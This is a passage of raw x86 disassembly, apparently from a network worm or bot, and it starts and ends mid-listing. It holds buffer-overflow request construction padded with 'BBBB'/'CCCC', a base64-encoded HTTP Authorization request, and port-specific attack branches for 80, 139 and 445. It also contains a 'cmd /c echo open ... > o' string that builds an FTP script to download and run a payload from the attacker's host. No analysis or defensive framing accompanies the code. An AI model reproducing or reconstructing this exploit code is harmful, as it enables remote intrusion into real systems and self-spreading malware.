; sub_40CD85+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBC3 test al, al jz short loc_40CD63 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC8C call sub_40CB55 mov ecx, esi call sub_40CBAA mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD63: ; CODE XREF: sub_40CD2A+Fj pop esi leave retn sub_40CD2A endp ; =============== S U B R O U T I N E ======================================= sub_40CD66 proc near ; CODE XREF: sub_40CD85+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD1A test al, al jz short loc_40CD81 mov ecx, esi call sub_40CD2A loc_40CD81: ; CODE XREF: sub_40CD66+12j pop esi retn 8 sub_40CD66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD85 proc near ; CODE XREF: ___:0040D60Cp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB11 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0D9 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0D9 push esi lea ecx, [ebp+var_30] call sub_40CB11 lea ecx, [ebp+var_20] call sub_40CB11 lea ecx, [ebp+var_50] call sub_40CB11 lea ecx, [ebp+var_18] call sub_40CB11 lea ecx, [ebp+var_40] call sub_40CB11 lea ecx, [ebp+var_38] call sub_40CB11 lea ecx, [ebp+var_28] call sub_40CB11 push 4 push offset dword_432088 lea ecx, [ebp+var_30] call sub_40CCC9 push 3 push offset dword_432090 lea ecx, [ebp+var_30] call sub_40CCC9 lea ecx, [ebp+var_30] call sub_40CC4F lea ecx, [ebp+var_30] call sub_40CD2A mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BD10 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCC9 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCC9 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCC9 lea ecx, [ebp+var_20] call sub_40CC4F push offset loc_43240C lea ecx, [ebp+var_50] call sub_40CCFD lea ecx, [ebp+var_50] call sub_40CC4F push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB1B lea ecx, [ebp+var_58] call sub_40CC4F push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD66 lea ecx, [ebp+var_58] call sub_40CBAA push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BD10 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CCFD push 4 push offset dword_432094 lea ecx, [ebp+var_18] call sub_40CCC9 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCC9 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCC9 lea ecx, [ebp+var_18] call sub_40CC4F push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD1A push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD1A lea ecx, [ebp+var_40] call sub_40CD2A lea ecx, [ebp+var_18] call sub_40CBAA lea ecx, [ebp+var_50] call sub_40CBAA push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD1A push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD1A push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD1A lea ecx, [ebp+var_38] call sub_40CD2A lea ecx, [ebp+var_20] call sub_40CBAA lea ecx, [ebp+var_30] call sub_40CBAA lea ecx, [ebp+var_40] call sub_40CBAA push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCC9 lea ecx, [ebp+var_28] call sub_40CC4F push 2 push offset dword_432400 lea ecx, [ebp+var_28] call sub_40CCC9 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD1A lea ecx, [ebp+var_28] call sub_40CD2A lea ecx, [ebp+var_38] call sub_40CBAA lea ecx, [ebp+var_10] call sub_40CB11 lea ecx, [ebp+var_8] call sub_40CB11 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_28] call sub_40CBAA push offset dword_4323FC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push offset dword_4323F8 lea ecx, [ebp+var_10] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_10] call sub_40CBC3 lea ecx, [ebp+var_8] call sub_40CBAA push offset dword_4323EC lea ecx, [ebp+var_8] call sub_40CCFD push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CBAA push (offset loc_4323E7+1) lea ecx, [ebp+var_48] call sub_40CCFD push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD1A lea ecx, [ebp+var_8] call sub_40CBAA mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D0E7 ; --------------------------------------------------------------------------- loc_40D0D9: ; CODE XREF: sub_40CD85+1Bj ; sub_40CD85+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D0E7: ; CODE XREF: sub_40CD85+352j pop edi pop ebx leave retn sub_40CD85 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0EB proc near ; CODE XREF: sub_40D1AF+A1p ; sub_40D1AF+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D152 lea eax, [ebp+var_10C] push eax push esi call sub_426636 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D156 loc_40D152: ; CODE XREF: sub_40D0EB+54j xor eax, eax jmp short loc_40D166 ; --------------------------------------------------------------------------- loc_40D156: ; CODE XREF: sub_40D0EB+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4C931C loc_40D166: ; CODE XREF: sub_40D0EB+69j pop edi pop esi leave retn sub_40D0EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D16A proc near ; CODE XREF: sub_40D1AF+81p ; sub_40D1AF+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4C9300 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 4 jz short loc_40D194 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D194: ; CODE XREF: sub_40D16A+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4C9354 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D16A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1AF proc near ; CODE XREF: sub_40D289+48p ; ___:0040D707p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BC9B mov esi, eax pop ecx test esi, esi jnz short loc_40D1D8 xor al, al jmp loc_40D284 ; --------------------------------------------------------------------------- loc_40D1D8: ; CODE XREF: sub_40D1AF+20j push ebx push 0 push esi call sub_41BD10 push 2Fh push offset dword_432124 push esi call sub_41CAB0 push 8 lea eax, [esi+31h] push offset dword_432154 push eax mov [esi+2Fh], di call sub_41CAB0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CAB0 push 6 add ebx, edi push offset dword_4CC01C push ebx call sub_41CAB0 mov ebx, [ebp+arg_0] push 85h push offset dword_43209C push ebx call sub_40D16A add esp, 48h test al, al jnz short loc_40D240 loc_40D23C: ; CODE XREF: sub_40D1AF+B5j xor bl, bl jmp short loc_40D27B ; --------------------------------------------------------------------------- loc_40D240: ; CODE XREF: sub_40D1AF+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB push [ebp+var_4] push esi push ebx call sub_40D16A add esp, 1Ch test al, al jz short loc_40D23C push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D0EB add esp, 10h mov bl, 1 loc_40D27B: ; CODE XREF: sub_40D1AF+8Fj push esi call sub_41BA31 pop ecx mov al, bl loc_40D284: ; CODE XREF: sub_40D1AF+24j pop edi pop esi pop ebx leave retn sub_40D1AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D289 proc near ; CODE XREF: ___:0040D6EDp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432160 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2C4 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D0EB add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2C4 cmp [ebp+var_20], 82h jz short loc_40D2C8 loc_40D2C4: ; CODE XREF: sub_40D289+1Bj ; sub_40D289+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2C8: ; CODE XREF: sub_40D289+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1AF add esp, 0Ch leave retn sub_40D289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2DB proc near ; CODE XREF: sub_40D327+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427688 call sub_41CF04 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427680 fstp [esp+10h+var_10] call sub_41CDE5 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CF04 inc eax leave retn sub_40D2DB endp ; =============== S U B R O U T I N E ======================================= sub_40D327 proc near ; CODE XREF: sub_40D4C9+24p var_40 = qword ptr -40h mov eax, offset loc_426D63 call sub_41D3D0 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D968 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2DB cmp [ebp-2Ch], eax pop ecx jnb short loc_40D369 push edi push eax lea ecx, [ebp-38h] call sub_40D8E3 loc_40D369: ; CODE XREF: sub_40D327+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D486 mov ebx, [ebp+10h] loc_40D378: ; CODE XREF: sub_40D327+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D382 push 3 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D382: ; CODE XREF: sub_40D327+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D38C push 2 jmp short loc_40D394 ; --------------------------------------------------------------------------- loc_40D38C: ; CODE XREF: sub_40D327+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D395 push 1 loc_40D394: ; CODE XREF: sub_40D327+59j ; sub_40D327+63j pop ebx loc_40D395: ; CODE XREF: sub_40D327+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427698 fstp [esp+40h+var_40] call sub_41CF2B pop ecx pop ecx call sub_41CF04 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3D4 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3D4: ; CODE XREF: sub_40D327+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D442 add [ebp-18h], eax loc_40D426: ; CODE XREF: sub_40D327+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_4321AC[eax] push eax push 1 call sub_40D765 inc esi cmp esi, [ebp-1Ch] jb short loc_40D426 loc_40D442: ; CODE XREF: sub_40D327+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D460 push dword ptr [ebp+14h] call sub_41B960 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7BE mov [ebp-18h], edi loc_40D460: ; CODE XREF: sub_40D327+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D47A sub esi, [ebp-1Ch] loc_40D46B: ; CODE XREF: sub_40D327+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D765 dec esi jnz short loc_40D46B loc_40D47A: ; CODE XREF: sub_40D327+13Fj cmp [ebp+10h], edi ja loc_40D378 push 1 pop ebx loc_40D486: ; CODE XREF: sub_40D327+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D968 push dword_427690 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D815 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D968 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D327 endp ; =============== S U B R O U T I N E ======================================= sub_40D4C9 proc near ; CODE XREF: ___:0040D6D0p mov eax, offset loc_426D80 call sub_41D3D0 sub esp, 10h push ebx push esi push edi push offset byte_43B4B8 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D327 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BC9B mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D513 xor bl, bl jmp short loc_40D557 ; --------------------------------------------------------------------------- loc_40D513: ; CODE XREF: sub_40D4C9+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A0 cmp ecx, ebx jnz short loc_40D521 mov ecx, eax loc_40D521: ; CODE XREF: sub_40D4C9+54j cmp [ebp+18h], ebx jz short loc_40D529 mov eax, [ebp+18h] loc_40D529: ; CODE XREF: sub_40D4C9+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C100 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4C9354 cmp eax, esi jz short loc_40D54E xor bl, bl jmp short loc_40D550 ; --------------------------------------------------------------------------- loc_40D54E: ; CODE XREF: sub_40D4C9+7Fj mov bl, 1 loc_40D550: ; CODE XREF: sub_40D4C9+83j push edi call sub_41BA31 pop ecx loc_40D557: ; CODE XREF: sub_40D4C9+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D968 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D968 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 424h and byte ptr [ebp-424h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-423h] push 8Fh rep stosd stosw stosb lea eax, [ebp-424h] push offset sub_432358 push eax call sub_41CAB0 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4C9040 push eax push dword ptr [ebp+8] call sub_40A9FA pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-395h] push 400h push eax call sub_41C100 add eax, 90h push eax lea eax, [ebp-424h] push eax push 164h lea eax, [ebp-24h] push offset sub_4321F0 push eax call sub_40CD85 mov ecx, [eax] xor esi, esi mov [ebp-8], ecx add esp, 30h mov eax, [eax+4] cmp eax, esi mov [ebp-4], eax jnz short loc_40D62C xor eax, eax jmp loc_40D758 ; --------------------------------------------------------------------------- loc_40D62C: ; CODE XREF: ___:0040D623j mov [ebp-0Ch], esi loc_40D62F: ; CODE XREF: ___:0040D72Fj test esi, esi jnz loc_40D735 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D71D xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4C9304 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4C9344 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4C92AC cmp eax, 0FFFFFFFFh jz loc_40D712 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6DA mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D968 lea eax, [ebp+0Ch] push eax call sub_41B960 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9A4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4C9 add esp, 1Ch jmp short loc_40D70F ; --------------------------------------------------------------------------- loc_40D6DA: ; CODE XREF: ___:0040D698j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D6F4 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D289 jmp short loc_40D70C ; --------------------------------------------------------------------------- loc_40D6F4: ; CODE XREF: ___:0040D6E4j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D712 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1AF loc_40D70C: ; CODE XREF: ___:0040D6F2j add esp, 0Ch loc_40D70F: ; CODE XREF: ___:0040D6D8j movzx esi, al loc_40D712: ; CODE XREF: ___:0040D68Bj ; ___:0040D6FEj push ebx call dword_4C939C test esi, esi jnz short loc_40D728 loc_40D71D: ; CODE XREF: ___:0040D648j push 3E8h nop call near ptr 268051Bh loc_40D728: ; CODE XREF: ___:0040D71Bj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D62F loc_40D735: ; CODE XREF: ___:0040D631j lea ecx, [ebp-8] call sub_40CBAA test esi, esi jz short loc_40D756 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431810[eax] lea eax, dword_431810[eax] loc_40D756: ; CODE XREF: ___:0040D73Fj mov eax, esi loc_40D758: ; CODE XREF: ___:0040D627j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D44 loc_40D75D: ; CODE XREF: sub_426D44+3j ; ___:00426D5Dj ... push 1 call sub_40D968 retn ; END OF FUNCTION CHUNK FOR sub_426D44 ; =============== S U B R O U T I N E ======================================= sub_40D765 proc near ; CODE XREF: sub_40D327+110p ; sub_40D327+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D77F call sub_42657A loc_40D77F: ; CODE XREF: sub_40D765+13j test ebx, ebx jbe short loc_40D7B6 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D7B6 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BD10 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7B6: ; CODE XREF: sub_40D765+1Cj ; sub_40D765+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D765 endp ; =============== S U B R O U T I N E ======================================= sub_40D7BE proc near ; CODE XREF: sub_40D327+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427690 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7D8 call sub_42657A loc_40D7D8: ; CODE XREF: sub_40D7BE+13j test ebx, ebx jbe short loc_40D80D mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8E3 test al, al jz short loc_40D80D mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CAB0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D80D: ; CODE XREF: sub_40D7BE+1Cj ; sub_40D7BE+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D815 proc near ; CODE XREF: sub_40D327+17Cp ; sub_426490+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D82D call sub_426453 loc_40D82D: ; CODE XREF: sub_40D815+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D83F mov esi, [ebp+arg_8] loc_40D83F: ; CODE XREF: sub_40D815+25j cmp edi, ebx jnz short loc_40D861 push dword_427690 add esi, ecx mov ecx, edi push esi call sub_40D9D9 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9D9 jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D861: ; CODE XREF: sub_40D815+2Cj test esi, esi jbe short loc_40D8A4 cmp esi, eax jnz short loc_40D8A4 mov eax, [ebx+4] test eax, eax jnz short loc_40D875 mov eax, offset dword_4276A0 loc_40D875: ; CODE XREF: sub_40D815+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8A4 push 1 mov ecx, edi call sub_40D968 mov eax, [ebx+4] test eax, eax jnz short loc_40D890 mov eax, offset dword_4276A0 loc_40D890: ; CODE XREF: sub_40D815+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8DA ; --------------------------------------------------------------------------- loc_40D8A4: ; CODE XREF: sub_40D815+4Ej ; sub_40D815+52j ... push 1 push esi mov ecx, edi call sub_40D8E3 test al, al jz short loc_40D8DA mov eax, [ebx+4] test eax, eax jnz short loc_40D8BE mov eax, offset dword_4276A0 loc_40D8BE: ; CODE XREF: sub_40D815+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CAB0 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8DA: ; CODE XREF: sub_40D815+4Aj ; sub_40D815+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D815 endp ; =============== S U B R O U T I N E ======================================= sub_40D8E3 proc near ; CODE XREF: sub_40D327+3Dp ; sub_40D765+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D8F5 call sub_42657A loc_40D8F5: ; CODE XREF: sub_40D8E3+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D91E mov al, [ecx-1] cmp al, dl jz short loc_40D91E cmp al, 0FFh jz short loc_40D91E cmp edi, edx jnz short loc_40D959 dec al push edx mov [ecx-1], al loc_40D913: ; CODE XREF: sub_40D8E3+47j mov ecx, esi call sub_40D968 loc_40D91A: ; CODE XREF: sub_40D8E3+4Bj ; sub_40D8E3+52j xor al, al jmp short loc_40D963 ; --------------------------------------------------------------------------- loc_40D91E: ; CODE XREF: sub_40D8E3+19j ; sub_40D8E3+20j ... cmp edi, edx jnz short loc_40D937 cmp [esp+8+arg_4], dl jz short loc_40D92C push 1 jmp short loc_40D913 ; --------------------------------------------------------------------------- loc_40D92C: ; CODE XREF: sub_40D8E3+43j cmp ecx, edx jz short loc_40D91A mov [esi+8], edx mov [ecx], dl jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D937: ; CODE XREF: sub_40D8E3+3Dj cmp [esp+8+arg_4], dl jz short loc_40D954 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D949 cmp eax, edi jnb short loc_40D961 loc_40D949: ; CODE XREF: sub_40D8E3+60j push 1 mov ecx, esi call sub_40D968 jmp short loc_40D959 ; --------------------------------------------------------------------------- loc_40D954: ; CODE XREF: sub_40D8E3+58j cmp [esi+0Ch], edi jnb short loc_40D961 loc_40D959: ; CODE XREF: sub_40D8E3+28j ; sub_40D8E3+6Fj push edi mov ecx, esi call sub_40DA40 loc_40D961: ; CODE XREF: sub_40D8E3+64j ; sub_40D8E3+74j mov al, 1 loc_40D963: ; CODE XREF: sub_40D8E3+39j pop edi pop esi retn 8 sub_40D8E3 endp ; =============== S U B R O U T I N E ======================================= sub_40D968 proc near ; CODE XREF: sub_40D327+1Fp ; sub_40D327+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D994 mov eax, [esi+4] test eax, eax jz short loc_40D994 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D98D cmp al, 0FFh jz short loc_40D98D dec al mov [ecx], al jmp short loc_40D994 ; --------------------------------------------------------------------------- loc_40D98D: ; CODE XREF: sub_40D968+19j ; sub_40D968+1Dj push ecx call sub_41D3EF pop ecx loc_40D994: ; CODE XREF: sub_40D968+8j ; sub_40D968+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D968 endp ; =============== S U B R O U T I N E ======================================= sub_40D9A4 proc near ; CODE XREF: ___:0040D6C4p ; sub_40DAFD+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D8E3 test al, al jz short loc_40D9D2 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41CAB0 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D9D2: ; CODE XREF: sub_40D9A4+12j mov eax, esi pop edi pop esi retn 8 sub_40D9A4 endp ; =============== S U B R O U T I N E ======================================= sub_40D9D9 proc near ; CODE XREF: sub_40D815+39p ; sub_40D815+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] 